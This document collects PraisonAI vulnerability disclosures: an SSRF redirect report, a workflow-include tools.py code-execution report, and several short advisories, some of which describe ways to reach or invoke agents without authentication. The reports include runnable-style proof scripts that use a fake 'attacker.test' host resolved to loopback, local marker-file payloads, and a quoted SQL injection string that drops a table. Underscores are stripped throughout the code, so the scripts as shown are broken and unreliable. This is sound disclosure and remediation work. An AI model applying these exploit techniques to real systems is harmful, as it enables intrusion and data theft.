- Set followredirects=False in crawlwithhttpx(), or handle redirects manually and validate each Location target before following it. - Centralize the URL validation used by server-side fetch tools. - Validate every resolved address using socket.getaddrinfo(), not only the first gethostbyname() result. - Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations. - Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.
PoV
python #!/usr/bin/env python3 """Local PoV for PraisonAI webcrawl redirect-target SSRF bypass.
This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that webcrawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target. """
from future import annotations
import http.server import os import socket import socketserver import threading from typing import Any
from praisonaiagents.tools.webcrawltools import webcrawl
class InternalHandler(http.server.BaseHTTPRequestHandler): body = b"INTERNAL-SECRET-FROM-LOOPBACK"
def doGET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.sendheader("Content-Length", str(len(self.body))) self.endheaders() self.wfile.write(self.body)
def logmessage(self, args: Any) -> None: return
class RedirectHandler(http.server.BaseHTTPRequestHandler): target = ""
def doGET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.sendresponse(302) self.sendheader("Location", self.target) self.endheaders()
def logmessage(self, args: Any) -> None: return
def main() -> int: os.environ.pop("ALLOWLOCALCRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler) internal.hit = False # type: ignore[attr-defined] internalport = internal.serveraddress[1]
RedirectHandler.target = f"http://127.0.0.1:{internalport}/secret" redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler) redirect.hit = False # type: ignore[attr-defined] redirectport = redirect.serveraddress[1]
threading.Thread(target=internal.serveforever, daemon=True).start() threading.Thread(target=redirect.serveforever, daemon=True).start()
originalgethostbyname = socket.gethostbyname originalgetaddrinfo = socket.getaddrinfo
def fakegethostbyname(host: str) -> str: if host == "attacker.test": return "93.184.216.34" return originalgethostbyname(host)
def fakegetaddrinfo(host: str, port: int, args: Any, kwargs: Any): if host == "attacker.test": return originalgetaddrinfo("127.0.0.1", port, args, kwargs) return originalgetaddrinfo(host, port, args, kwargs)
socket.gethostbyname = fakegethostbyname socket.getaddrinfo = fakegetaddrinfo try: directcontrol = webcrawl( f"http://127.0.0.1:{internalport}/secret", provider="httpx", ) redirectresult = webcrawl( f"http://attacker.test:{redirectport}/go", provider="httpx", ) finally: socket.gethostbyname = originalgethostbyname socket.getaddrinfo = originalgetaddrinfo redirect.shutdown() internal.shutdown() redirect.serverclose() internal.serverclose()
print("DIRECTCONTROL:", directcontrol) print("REDIRECTRESULT:", redirectresult) print("REDIRECTSERVERHIT:", bool(redirect.hit)) # type: ignore[attr-defined] print("INTERNALSERVERHIT:", bool(internal.hit)) # type: ignore[attr-defined]
if not isinstance(directcontrol, dict) or "No valid or safe URLs" not in str(directcontrol): raise SystemExit("control failed: direct loopback was not blocked") if not isinstance(redirectresult, dict): raise SystemExit("bypass failed: unexpected result type") if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirectresult.get("content", "")): raise SystemExit("bypass failed: redirect target content was not returned") if not bool(redirect.hit) or not bool(internal.hit): # type: ignore[attr-defined] raise SystemExit("bypass failed: expected local servers were not hit")
print("PRAI-CAND-001 CONFIRMED: webcrawl follows a redirect to loopback") return 0
if name == "main": raise SystemExit(main())
Summary
PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.
This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.
The same sink is reachable through the higher-level praisonai.recipe.run() recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.
This is distinct from the previously published toolresolver.py, api/call.py, templates/tooloverride.py, and agentsgenerator.py variants. The affected callsite is the workflow include implementation in praisonaiagents, reached through the documented/covered Include workflow composition feature.
Affected Components
- Package: praisonaiagents - File: praisonaiagents/workflows/workflows.py - Sink: Workflow.executeinclude() - Current affected callsite:
python toolspy = recipepath / "tools.py" if toolspy.exists(): spec = importlib.util.specfromfilelocation("recipetools", toolspy) recipemodule = importlib.util.modulefromspec(spec) spec.loader.execmodule(recipemodule)
The current head also contains a similar unguarded workflow-local tools.py import in resolvepydanticclass(). That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.
Security Boundary
PraisonAI documents secure defaults for implicit tools.py autoload:
- PRAISONAIALLOWTEMPLATETOOLS controls implicit template/CWD tools.py autoload and is disabled by default. - PRAISONAIALLOWLOCALTOOLS controls automatic loading of local tools.py files and requires the value true. - Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in. - Existing regression tests for GHSA-xcmw-grxf-wjhj assert that template/CWD tools.py must not execute by default.
Workflow.executeinclude() does not check PRAISONAIALLOWTEMPLATETOOLS, does not check PRAISONAIALLOWLOCALTOOLS, and does not route through the shared safe loader before executing the included recipe's tools.py.
The report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover Include, include(), YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's tools.py unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.
The report also is not claiming that recipe tools.py files are inherently unsafe or unsupported. Official recipe documentation describes tools.py as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit tools.py autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.
Impact
An attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.
The payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.
Reproduction
Run the attached local-only PoV:
bash python3 pov.py
Expected vulnerable output:
text VULNERABLE: included recipe tools.py executed with PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset marker=... markercontent=executed
The PoV:
1. Unsets PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS. 2. Creates a temporary childrecipe/tools.py with a marker-write payload. 3. Creates a minimal childrecipe/workflow.yaml. 4. Runs Workflow(steps=[include("childrecipe")]).run(...). 5. Confirms the marker file was written before any model-backed workflow step is needed.
Supplementary higher-level API check:
bash python3 povreciperun.py
Expected vulnerable output:
text VULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset recipestatus=success recipeok=True marker=... markercontent=executed
Validation
Tested vulnerable:
- Current head: bcb6957dac1bc8949866522948a9f61d7e4bd4c1 - Latest release tag: v4.6.56 (praisonai==4.6.56, praisonaiagents==1.6.56) - Older affected tag: v3.9.26 (praisonai==3.9.26, praisonaiagents==0.12.12)
Negative/control observations:
- v3.9.24 does not expose the same include helper/API used by this PoV. - The hardened praisonai.templates.tooloverride.createtoolregistrywithoverrides(..., templatedir=...) path does not execute tools.py when PRAISONAIALLOWTEMPLATETOOLS is unset. - Existing regression test src/praisonai/tests/unit/templates/testtooloverrideautoloadgate.py states that implicit recipe/template tools.py autoload should be gated behind PRAISONAIALLOWTEMPLATETOOLS. - Include is a first-class workflow feature, not an accidental private method: repository tests cover include() imports, YAML include parsing, direct Workflow.executeinclude presence, and include steps inside loops. - praisonai.recipe.run() also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.
Root Cause
The include implementation reintroduced a direct importlib.util.specfromfilelocation() plus spec.loader.execmodule() path outside the centralized safe loader and template override gate. Prior fixes hardened several tools.py autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.
Suggested Fix
Route included-recipe tool loading through the same security policy used by the template tool override system.
Conservative options:
1. Do not implicitly load included recipe tools.py by default. 2. Only load it when PRAISONAIALLOWTEMPLATETOOLS is explicitly truthy. 3. Prefer explicit toolssources, overridefiles, or a caller-supplied registry for custom tools. 4. Add regression coverage for Workflow(steps=[include("...")]) proving included recipe tools.py does not execute with the opt-in unset. 5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.
If local workflow includes are intended to use PRAISONAIALLOWLOCALTOOLS instead, the same principle applies: the include sink should call a shared helper and should not perform raw execmodule() directly.
Severity
Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.
Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.
Appendix A - pov.py
python #!/usr/bin/env python3 """Local PoV for PraisonAI workflow include tools.py autoload.
This PoV uses only local files and the public workflow API. It verifies whether a workflow-local include executes the included recipe's tools.py even when the PRAISONAIALLOWLOCALTOOLS opt-in is unset. """
from future import annotations
import os import shutil import sys import tempfile from pathlib import Path
MARKERNAME = "praiworkflowincludetoolsautoloadmarker.txt"
def finddefaultrepo() -> Path: for parent in Path(file).resolve().parents: candidate = parent / "artifacts" / "repos" / "praisonai-current" if candidate.exists(): return candidate raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int: repo = Path(os.environ.get("PRAISONAIPOVREPO", str(finddefaultrepo()))).resolve() sys.path.insert(0, str(repo / "src" / "praisonai-agents")) sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAIALLOWLOCALTOOLS", None) os.environ.pop("PRAISONAIALLOWTEMPLATETOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-")) oldcwd = Path.cwd() try: recipe = workdir / "childrecipe" recipe.mkdir() marker = workdir / MARKERNAME
(recipe / "tools.py").writetext( "from pathlib import Path\n" f"Path({str(marker)!r}).writetext('executed')\n" "def benigntool():\n" " return 'ok'\n", encoding="utf-8", ) (recipe / "workflow.yaml").writetext( "name: child\n" "steps: []\n", encoding="utf-8", )
os.chdir(workdir)
from praisonaiagents.workflows.workflows import Workflow, include
workflow = Workflow(steps=[include("childrecipe")]) workflow.run(input="", llm="dummy/local", stream=False)
if marker.exists(): print( "VULNERABLE: included recipe tools.py executed with " "PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset" ) print(f"marker={marker}") print(f"markercontent={marker.readtext(encoding='utf-8')}") return 0
print("NOT VULNERABLE: included recipe tools.py did not execute") return 1 finally: os.chdir(oldcwd) shutil.rmtree(workdir, ignoreerrors=True)
if name == "main": raise SystemExit(main())
Appendix B - povreciperun.py
python #!/usr/bin/env python3 """Supplementary local PoV through praisonai.recipe.run().
This exercises the higher-level recipe API. It does not start a network server or rely on any external service. The payload writes a local marker file only. """
from future import annotations
import os import shutil import sys import tempfile from pathlib import Path
MARKERNAME = "praireciperunincludetoolsautoloadmarker.txt"
def finddefaultrepo() -> Path: for parent in Path(file).resolve().parents: candidate = parent / "artifacts" / "repos" / "praisonai-current" if candidate.exists(): return candidate raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int: repo = Path(os.environ.get("PRAISONAIPOVREPO", str(finddefaultrepo()))).resolve() sys.path.insert(0, str(repo / "src" / "praisonai-agents")) sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAIALLOWLOCALTOOLS", None) os.environ.pop("PRAISONAIALLOWTEMPLATETOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-")) oldcwd = Path.cwd() try: parentrecipe = workdir / "parentrecipe" childrecipe = workdir / "childrecipe" parentrecipe.mkdir() childrecipe.mkdir() marker = workdir / MARKERNAME
(parentrecipe / "TEMPLATE.yaml").writetext( "name: parentrecipe\n" "version: 1.0.0\n" "workflow: workflow.yaml\n", encoding="utf-8", ) (parentrecipe / "workflow.yaml").writetext( "name: parent\n" "steps:\n" " - include: childrecipe\n", encoding="utf-8", ) (childrecipe / "workflow.yaml").writetext( "name: child\n" "steps: []\n", encoding="utf-8", ) (childrecipe / "tools.py").writetext( "from pathlib import Path\n" f"Path({str(marker)!r}).writetext('executed')\n" "def benigntool():\n" " return 'ok'\n", encoding="utf-8", )
os.chdir(workdir)
from praisonai import recipe
result = recipe.run(str(parentrecipe), input={}, options={"force": True})
if marker.exists(): print( "VULNERABLE: praisonai.recipe.run() reached workflow include " "tools.py execution with PRAISONAIALLOWLOCALTOOLS and " "PRAISONAIALLOWTEMPLATETOOLS unset" ) print(f"recipestatus={result.status}") print(f"recipeok={result.ok}") print(f"marker={marker}") print(f"markercontent={marker.readtext(encoding='utf-8')}") return 0
print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py") print(f"recipestatus={result.status}") print(f"recipeerror={result.error}") return 1 finally: os.chdir(oldcwd) shutil.rmtree(workdir, ignoreerrors=True)
if name == "main": raise SystemExit(main())
PraisonAI (praisonaiagents) before 1.6.78 contains a remote code execution vulnerability in the plugin manager, which loads and executes arbitrary Python (.py) files from project-level and user-home .praisonai/plugins/ directories using importlib specfromfilelocation() and execmodule() without code signing, integrity verification, or sandboxing. An attacker who can write a malicious .py file to a plugin directory (for example via path traversal, a supply chain attack, or a compromised dependency) achieves arbitrary code execution when the plugin system initializes.
PraisonAI Platform before 0.1.9 fails to properly authorize label and issue-label mutations, allowing workspace members to rename and recolor shared labels and add or remove labels on owner-created issues. Attackers with workspace member privileges can exploit PATCH and POST/DELETE endpoints to alter shared label taxonomy and manipulate issue-label associations without owner or admin authorization.
PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agentinvoke.py) when PRAISONAICALLAUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agentid}/invoke) registered agents without authentication.
PraisonAI before 1.6.78 contains a server-side request forgery vulnerability in the webcrawl tool that validates hostnames at check time but re-resolves them at connection time without IP pinning. Attackers can use DNS rebinding to bypass SSRF protection and retrieve internal HTTP response bodies from private or loopback services.
PraisonAI before 4.6.78 exposes the MCP HTTP-stream transport without authentication by default: the CLI --api-key option defaults to None, and the server only enforces Authorization/Bearer checks when an API key is configured. When an operator runs 'praisonai mcp serve --transport http-stream' without an API key, an unauthenticated client (no Authorization header, and no Origin header, which is also permitted) can initialize a session, enumerate the available tools (tools/list), and invoke tools (tools/call). Additionally, the dispatcher forwards tool-call arguments to handlers without validating them against the advertised inputSchema. The server binds to 127.0.0.1 by default, so remote exploitation requires the operator to bind to a network-accessible address (e.g., --host 0.0.0.0).
PraisonAI before 1.7.3 contains an insecure default configuration that binds to all interfaces with no API key requirement and wildcard CORS. Unauthenticated attackers can call GET /api/agents to read agent instructions and system prompts, or POST /api/chat to invoke agents without authentication.
PraisonAI before 4.6.78 fails to validate the caller-controlled dimension argument in the PGVector and Cassandra knowledge-store createcollection() backends. Although schema, keyspace, and collection-name identifiers are validated, the dimension value (declared as int but not enforced at runtime) is interpolated directly into the vector column of the generated CREATE TABLE DDL. A caller able to influence collection-creation dimensions can pass a string such as '3); DROP TABLE tenantsecrets; --' to inject SQL/CQL tokens into the statement executed by the database driver.
PraisonAI versions before 4.6.78 contain a code injection vulnerability in deploy/api.py where the agentsfile parameter is directly interpolated into an f-string without sanitization. Attackers can inject arbitrary Python code that executes when the generated server code runs via subprocess.Popen().